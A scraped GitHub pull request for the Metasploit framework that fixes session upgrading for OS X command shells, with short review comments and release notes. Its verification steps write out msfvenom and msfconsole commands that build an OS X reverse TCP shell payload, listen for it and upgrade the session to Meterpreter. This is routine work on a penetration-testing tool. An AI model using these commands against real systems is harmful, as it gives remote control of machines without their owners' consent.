fix #10576, fix session upgrade HANDLE_TIMEOUT and upgrading osx shells#10584
fix #10576, fix session upgrade HANDLE_TIMEOUT and upgrading osx shells#10584busterb merged 2 commits intorapid7:masterfrom
Conversation
|
So the reason why the upgrade isn't happening is because |
|
I think #10448 had a merge conflict, and the Without the fix: |
|
Looks good, thanks @timwr |
Release NotesOS X command shells now have their session type set correctly to enable upgrading to native Meterpreter. |
Verification
List the steps needed to make sure this thing works
msfvenom -p osx/x64/shell_reverse_tcp LHOST=HOST LPORT=4444 -f macho -o osxshellmsfconsole -qx "use exploit/multi/handler; set payload osx/x64/shell_reverse_tcp; set lhost HOST; set lport 4444; set ExitOnSession false; run -j"sessions -u 1on the sessionI'm still working on why the upgrading of sessions is not working for osx/x64/shell_reverse_tcp, as it seems to work if you upgrade a python shell, python meterpreter, or native meterpreter session on osx.